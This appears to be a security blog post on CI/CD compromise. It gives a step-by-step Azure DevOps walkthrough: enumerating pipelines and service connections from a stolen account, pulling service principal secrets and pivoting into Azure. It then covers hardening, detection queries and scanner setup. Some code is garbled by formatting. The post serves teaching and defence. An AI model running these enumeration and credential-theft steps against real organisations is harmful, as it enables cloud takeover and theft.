Listen to this Post
Introduction:
The integration of AI into every layer of the software development lifecycle has expanded the attack surface, making CI/CD pipelines the new crown jewels for adversaries. Recent high-profile compromises—such as the tj-actions breach, the Shai-Hulud incident, and the Trivy vulnerability—highlight a critical truth: pipelines and their agents operate with immense trust and privilege, and when that trust is exploited, the blast radius can compromise entire production environments.
Learning Objectives:
- Understand the attack vectors used in recent CI/CD compromises like tj-actions and Trivy.
- Learn how to enumerate Azure DevOps environments from a compromised developer account.
- Execute a hands-on privilege escalation path to extract cloud credentials from a CI/CD pipeline.
You Should Know:
- Anatomy of a CI/CD Attack: From Developer Compromise to Cloud Takeover
Start with an extended version of what the post is saying: Modern CI/CD systems, particularly in Azure DevOps, act as central hubs where code, secrets, and infrastructure converge. The post references the tj-actions compromise (a supply chain attack on a popular GitHub Action) and the Trivy incident (where a misconfiguration allowed unauthorized access), both of which leveraged the inherent trust placed in automation agents. In the Pwned Labs scenario, the attacker begins with a compromised developer account that has minimal access—only to Azure DevOps. From there, the goal is to pivot into the Azure cloud environment by exploiting pipeline permissions.
Step‑by‑step guide explaining what this does and how to use it:
This guide simulates a real-world attack path similar to the “Plunder Azure DevOps for Cloud Credentials” lab. It assumes you have obtained a compromised user account with access to an Azure DevOps organization.
Step 1: Enumerate Azure DevOps Organization and Projects
Once logged in, the first step is to map the environment. Use the Azure DevOps CLI or REST API to list accessible resources.
– Linux/macOS (using curl and PAT):
Assuming you have a Personal Access Token (PAT) from the compromised user
curl -u "username:$AZURE_DEVOPS_PAT" \
"https://dev.azure.com/{organization}/_apis/projects?api-version=6.0"
– Windows (PowerShell):
$pat = "your_personal_access_token"
$base64Auth = [bash]::ToBase64String([Text.Encoding]::ASCII.GetBytes(":$pat"))
Invoke-RestMethod -Uri "https://dev.azure.com/{organization}/_apis/projects?api-version=6.0" -Headers @{Authorization="Basic $base64Auth"}
Step 2: Identify CI/CD Pipelines and Service Connections
Pipelines often store service connections (credentials to Azure, AWS, etc.). List all pipelines and inspect their definitions.
– List Pipelines:
curl -u "username:$PAT" "https://dev.azure.com/{org}/{project}/_apis/pipelines?api-version=6.0"
– Get Pipeline Details:
Retrieve the pipeline definition to look for variables or service connections
curl -u "username:$PAT" "https://dev.azure.com/{org}/{project}/_apis/pipelines/{pipelineId}/runs?api-version=6.0"
Step 3: Exploit Service Connections
Service connections are the gateway to the cloud. If a pipeline uses an Azure Resource Manager service connection, it may have a managed identity or stored credentials.
– List Service Connections:
curl -u "username:$PAT" "https://dev.azure.com/{org}/{project}/_apis/serviceendpoint/endpoints?api-version=6.0"
– Extract Connection Details:
If the connection type is azurerm, the response may contain `authorization` parameters. In a real attack, you would use the `serviceprincipalid` and `serviceprincipalkey` (or use the managed identity if the agent is running in Azure).
Example of using the service principal to authenticate to Azure az login --service-principal -u $SPN_ID -p $SPN_SECRET --tenant $TENANT_ID
Step 4: Pivot to Azure and Escalate Privileges
Once you have Azure credentials, enumerate the subscription for high-value targets.
– List Subscriptions:
az account list --output table
– Check for Automation Accounts (Common for Runbooks with Elevated Permissions):
az automation account list --subscription $SUB_ID
If you find an Automation Account, look for Runbooks that might have been used by the pipeline. Often, these Runbooks have managed identities with Contributor or Owner roles.
2. Defensive Countermeasures: Hardening CI/CD Pipelines
While the offensive side shows the risk, defenders must implement controls to prevent these pivots. This section focuses on mitigating the specific risks highlighted by the tj-actions and Trivy incidents.
Step-by-step hardening guide:
- Implement Just-in-Time (JIT) Access for Service Connections: Instead of storing permanent credentials, use Azure DevOps workload identity federation. This allows pipelines to use short-lived tokens without storing secrets.
Example Azure DevOps pipeline task using Workload Identity</li> <li>task: AzureCLI@2 inputs: azureSubscription: 'MyServiceConnection' Federated identity scriptType: 'bash' scriptLocation: 'inlineScript' inlineScript: | az account show
- Restrict Agent Pools and Pipeline Permissions: Ensure that only authorized pipelines can access specific agent pools. Use environment protection rules to require approvals before deploying to production.
Azure DevOps CLI to set pipeline permissions az devops security permission update --id $PIPELINE_ID --subject $GROUP_ID --allow-bit 1 --deny-bit 0 --namespace-id $NAMESPACE
- Use OPA (Open Policy Agent) for Pipeline Governance: Enforce policies that prevent pipelines from running with excessive permissions or accessing unauthorized service connections.
- Example Rego policy to check for use of highly privileged service connections:
package pipeline.secure deny[bash] { input.service_connection.type == "AzureRM" input.service_connection.role == "Contributor" msg = sprintf("Service connection %s uses overly permissive role", [input.service_connection.name]) } - Monitor Pipeline Activity: Set up alerts for anomalous pipeline runs. Use Azure Sentinel or a SIEM to monitor for patterns like a pipeline running outside of scheduled times or a pipeline accessing a new subscription.
Azure Monitor query to detect new service connection usage AzureDevOpsAudit | where OperationName == "ServiceConnection.Create" or OperationName == "ServiceConnection.Update" | where TimeGenerated > ago(1h) | project TimeGenerated, ActorUPN, ProjectName, ServiceConnectionName
3. Tooling and Automation for CI/CD Security
To effectively defend, you need to embed security tools into the pipeline itself. The recent Trivy incident underscores the importance of scanning not just code, but configurations.
Step-by-step guide to integrating security scanners:
- Install and Configure Trivy for IaC Scanning:
Trivy can scan Dockerfiles, Kubernetes manifests, and Terraform code for misconfigurations.Linux installation wget https://github.com/aquasecurity/trivy/releases/download/v0.48.0/trivy_0.48.0_Linux-64bit.deb sudo dpkg -i trivy_0.48.0_Linux-64bit.deb Run Trivy on your repository trivy config --severity CRITICAL ./infrastructure/terraform
-
Scan for Exposed Secrets with Gitleaks:
Prevent secrets from entering the pipeline in the first place by scanning commits.Install Gitleaks on Linux wget https://github.com/gitleaks/gitleaks/releases/download/v8.18.0/gitleaks_8.18.0_linux_x64.tar.gz tar -xzf gitleaks_8.18.0_linux_x64.tar.gz sudo mv gitleaks /usr/local/bin/ Scan the current repository gitleaks detect --source . --verbose
- Azure DevOps YAML Pipeline with Security Stage:
stages:</li> <li>stage: Security jobs:</li> <li>job: ScanCode steps:</li> <li>script: | gitleaks detect --source $(Build.SourcesDirectory) --report-format json --report-path $(Build.ArtifactStagingDirectory)/leaks.json displayName: 'Run Gitleaks'</li> <li>script: | trivy config --severity HIGH,CRITICAL $(Build.SourcesDirectory)/infrastructure displayName: 'Run Trivy on IaC'</li> <li>task: PublishBuildArtifacts@1 inputs: PathtoPublish: '$(Build.ArtifactStagingDirectory)' ArtifactName: 'security_reports'
What Undercode Say:
- Key Takeaway 1: CI/CD pipelines are the ultimate “privileged access” points in modern infrastructure. A compromised developer account is merely a stepping stone; the real damage occurs when attackers leverage pipeline trust to pivot into cloud environments.
- Key Takeaway 2: The shift to AI-driven development increases the velocity of code changes, but it also amplifies the blast radius of supply chain attacks. Hardening service connections with workload identity federation and enforcing strict pipeline permissions are non-negotiable controls.
- Key Takeaway 3: Proactive defense requires embedding security scanning (Trivy, Gitleaks) and policy enforcement (OPA) directly into the pipeline lifecycle. The recent Trivy incident serves as a stark reminder that misconfigurations in security tools themselves can become attack vectors.
Prediction:
As AI coding assistants become ubiquitous, the volume of machine-generated code will increase, making manual pipeline security reviews obsolete. The next wave of major breaches will not target application code directly but will exploit the CI/CD infrastructure that deploys it. Expect to see a surge in “pipeline jacking” attacks where adversaries compromise build agents to poison artifacts or steal cloud credentials, forcing organizations to adopt zero-trust principles for their automation systems. The tj-actions and Shai-Hulud incidents are just the beginning of a new era where securing the build pipeline is as critical as securing the runtime environment.
▶️ Related Video (84% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: I%D0%B0n %D0%B0ustin – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
